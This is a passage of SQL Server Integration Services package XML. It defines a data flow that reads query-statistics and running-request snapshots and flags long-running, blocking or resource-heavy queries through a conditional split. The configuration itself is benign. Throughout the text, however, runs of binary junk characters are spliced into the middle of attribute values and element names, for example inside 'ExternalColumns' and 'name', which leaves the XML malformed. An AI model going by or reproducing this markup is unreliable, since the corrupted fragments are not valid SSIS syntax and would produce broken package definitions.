dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[total_clr_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[total_clr_time]" name="total_clr_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[total_elapsed_time]" dataType="i8" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].External	!!!!!!!!!!!!!!!!!!!!!!!!`<uv`HvColumns[total_elapsed_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[total_elapsed_time]" name="total_elapsed_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[max_worker_time]" dataType="i8" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[max_worker_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[max_worker_time]" name="max_worker_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[min_worker_time]" dataType="i8" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[min_worker_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[min_worker_time]" name="min_worker_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[min_physical_reads]" dataType="i8" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[min_physical_reads]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[min_physical_reads]" name="min_physical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[max_physical_reads]" dataType="i8" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[max_physical_reads]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[max_physical_reads]" name="max_physical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[min_logical_writes]" dataType="i8" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[min_logical_writes]" lineageId="Package\SEQ - Captu	!!!!!!!!!!!!!!!!!!!!!!!!`<uKHvre and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[min_logical_writes]" name="min_logical_writes"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[max_logical_writes]" dataType="i8" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[max_logical_writes]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[max_logical_writes]" name="max_logical_writes"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[min_logical_reads]" dataType="i8" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[min_logical_reads]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[min_logical_reads]" name="min_logical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[max_logical_reads]" dataType="i8" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[max_logical_reads]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[max_logical_reads]" name="max_logical_reads"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[min_clr_time]" dataType="i8" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[min_clr_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[min_clr_time]" name="min_clr_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[max_clr_time]" dataType="i8" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[max_clr_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interestin	!!!!!!!!!!!!!!!!!!!!!!!!`<u<cHvg Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[max_clr_time]" name="max_clr_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[min_elapsed_time]" dataType="i8" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[min_elapsed_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[min_elapsed_time]" name="min_elapsed_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[max_elapsed_time]" dataType="i8" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[max_elapsed_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[max_elapsed_time]" name="max_elapsed_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[snapshot_id]" dataType="i4" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[snapshot_id]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[snapshot_id]" name="snapshot_id"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[collection_time]" dataType="dbTimeStamp" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[collection_time]" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[collection_time]" name="collection_time"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[sql_handle]" dataType="bytes" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[sql_handle]" length="64" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source 	!!!!!!!!!!!!!!!!!!!!!!!!`<u!~fHvOutput].Columns[sql_handle]" name="sql_handle" sortKeyPosition="1"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[plan_handle]" dataType="bytes" externalMetadataColumnId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[plan_handle]" length="64" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[plan_handle]" name="plan_handle" sortKeyPosition="2"/></outputColumns><externalMetadataColumns isUsed="True"><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[sql_handle]" dataType="bytes" length="64" name="sql_handle"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[statement_start_offset]" dataType="i4" name="statement_start_offset"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[statement_end_offset]" dataType="i4" name="statement_end_offset"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[plan_generation_num]" dataType="i8" name="plan_generation_num"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[plan_handle]" dataType="bytes" length="64" name="plan_handle"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[creation_time]" dataType="dbTimeStamp" name="creation_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[last_execution_time]" dataType="dbTimeStamp" name="last_execution_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[execution_count]" dataType="i8" name="execution_count"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[total_worker_time]" dataType="i8" name="total_worker_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[total_physical_reads]" dataType="i8" na	!!!!!!!!!!!!!!!!!!!!!!!!`<u%d:Hvme="total_physical_reads"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[total_logical_writes]" dataType="i8" name="total_logical_writes"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[total_logical_reads]" dataType="i8" name="total_logical_reads"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[total_clr_time]" dataType="i8" name="total_clr_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[total_elapsed_time]" dataType="i8" name="total_elapsed_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[max_worker_time]" dataType="i8" name="max_worker_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[min_worker_time]" dataType="i8" name="min_worker_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[min_physical_reads]" dataType="i8" name="min_physical_reads"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[max_physical_reads]" dataType="i8" name="max_physical_reads"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[min_logical_writes]" dataType="i8" name="min_logical_writes"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[max_logical_writes]" dataType="i8" name="max_logical_writes"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[min_logical_reads]" dataType="i8" name="min_logical_reads"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[max_logical_reads]" dataType="i8" name="max_logical_reads"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[min_clr_time]" dataType="i8" name="min_clr_	!!!!!!!!!!!!!!!!!!!!!!!!`<u)K$Hvtime"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[max_clr_time]" dataType="i8" name="max_clr_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[min_elapsed_time]" dataType="i8" name="min_elapsed_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[max_elapsed_time]" dataType="i8" name="max_elapsed_time"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[snapshot_id]" dataType="i4" name="snapshot_id"/><externalMetadataColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].ExternalColumns[collection_time]" dataType="dbTimeStamp" name="collection_time"/></externalMetadataColumns></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SPLT - Identify interesting running requests" componentClassID="{7F88F654-4E20-4D14-84F4-AF9C925D3087}" contactInfo="Conditional Split;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Evaluates and directs rows in a dataset." name="SPLT - Identify interesting running requests" usesDispositions="true"><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SPLT - Identify interesting running requests.Inputs[Conditional Split Input]" description="Input to the Conditional Split Transformation" name="Conditional Split Input"><inputColumns><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SPLT - Identify interesting running requests.Inputs[Conditional Split Input].Columns[blocking_session_id]" cachedDataType="i2" cachedName="blocking_session_id" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[blocking_session_id]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SPLT - Identify interesting running requests.Inputs[Conditional Split Input].Columns[is_blocking]" cachedDataType="bool" cachedName="is_blocking" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[is_blocking]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SPLT - Identify interesting running requests.Inputs[Conditional Split Input].Columns[wait_duration_ms]" cachedDataType="i8" cachedName="wait_duration_ms" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Outpu	!!!!!!!!!!!!!!!!!!!!!!!!`<u-:Hvt].Columns[wait_duration_ms]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SPLT - Identify interesting running requests.Inputs[Conditional Split Input].Columns[open_transaction_count]" cachedDataType="i4" cachedName="open_transaction_count" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[open_transaction_count]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SPLT - Identify interesting running requests.Inputs[Conditional Split Input].Columns[request_total_elapsed_time]" cachedDataType="i4" cachedName="request_total_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[request_total_elapsed_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SPLT - Identify interesting running requests.Inputs[Conditional Split Input].Columns[request_cpu_time]" cachedDataType="i4" cachedName="request_cpu_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[request_cpu_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SPLT - Identify interesting running requests.Inputs[Conditional Split Input].Columns[memory_usage]" cachedDataType="i4" cachedName="memory_usage" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[memory_usage]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SPLT - Identify interesting running requests.Inputs[Conditional Split Input].Columns[session_row_count]" cachedDataType="i8" cachedName="session_row_count" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[session_row_count]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SPLT - Identify interesting running requests.Inputs[Conditional Split Input].Columns[pending_io_count]" cachedDataType="i4" cachedName="pending_io_count" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[pending_io_count]"/></inputColumns><externalMetadataColumns/></input></inputs><outputs><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SPLT - Identify interesting running requests.Outputs[Interesting Requests]" description="Output 1 of the Conditional Split Transformation" errorOrTruncationOperation="Computation" errorRowDisposition="IgnoreFailure" exclusionGroup="1" name="Interesting Requests" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SPLT - Identify interesting running requests.Inputs[Conditional Split Input]" truncationRowDisposition="FailComponent"><properties><propert	!!!!!!!!!!!!!!!!!!!!!!!!`<b~?Hvy containsID="true" dataType="System.String" description="Specifies the expression. This expression version uses lineage identifiers instead of column names." name="Expression">(#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[wait_duration_ms]} &gt; @[User::InterestingQueries_LongWaitingRequest]) || (#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[blocking_session_id]} == 0 &amp;&amp; #{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[is_blocking]} ==  TRUE ) || (#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[open_transaction_count]} &gt; @[User::InterestingQueries_HighTransactionCount]) || (#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[request_total_elapsed_time]} &gt; @[User::InterestingQueries_LongRunningRequest]) || (#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[request_cpu_time]} &gt; @[User::InterestingQueries_HighCpuUsage]) || (#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[pending_io_count]} &gt; @[User::InterestingQueries_HighIoCount]) || (#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[memory_usage]} &gt; @[User::InterestingQueries_HighMemoryUsage]) || (#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read current cache with dm_exec_requests.Outputs[Raw File Source Output].Columns[session_row_count]} &gt; @[User::InterestingQueries_LargeResultset])</property><property containsID="true" dataType="System.String" description="Specifies the friendly version of the expression. This expression version uses column names." expressionType="Notify" name="FriendlyExpression">(wait_duration_ms &gt; @[User::InterestingQueries_LongWaitingRequest]) || (blocking_session_id == 0 &amp;&amp; is_blocking ==  TRUE ) || (open_transaction_count &gt; @[User::InterestingQueries_HighTransactionCount]) || (request_total_elapsed_time &gt; @[User::InterestingQueries_LongRunningRequest]) || (request_cpu_time &gt; @[User::InterestingQueries_HighCpuUsage]) || (pending_io_count &gt; @[User::InterestingQueries_HighIoCount]) || (memory_usage &gt; @[User::InterestingQueries_HighMemoryUsage]) || (session_row_count &gt; @[User::InterestingQueries_LargeResultset])</property><property dataType="System.Int32" description="Specifies the position of the condition in the list of conditions that the transformation evaluates. The evaluation order is from the lowest to the highest value." name="EvaluationOrder">0</property></properties><externalMetadataColumns/></output><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SPLT - Identify interesting running requests.Outputs[Conditional Split Default Output]" description="Default Output of the Condit	!!!!!!!!!!!!!!!!!!!!!!!!`<x7Hvional Split Transformation" exclusionGroup="1" name="Conditional Split Default Output" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SPLT - Identify interesting running requests.Inputs[Conditional Split Input]"><properties><property dataType="System.Boolean" name="IsDefaultOut">true</property></properties><externalMetadataColumns/></output><output refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SPLT - Identify interesting running requests.Outputs[Conditional Split Error Output]" description="Error Output of the Conditional Split Transformation" exclusionGroup="1" isErrorOut="true" name="Conditional Split Error Output" synchronousInputId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SPLT - Identify interesting running requests.Inputs[Conditional Split Input]"><outputColumns><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SPLT - Identify interesting running requests.Outputs[Conditional Split Error Output].Columns[ErrorCode]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SPLT - Identify interesting running requests.Outputs[Conditional Split Error Output].Columns[ErrorCode]" name="ErrorCode" specialFlags="1"/><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SPLT - Identify interesting running requests.Outputs[Conditional Split Error Output].Columns[ErrorColumn]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SPLT - Identify interesting running requests.Outputs[Conditional Split Error Output].Columns[ErrorColumn]" name="ErrorColumn" specialFlags="2"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order" 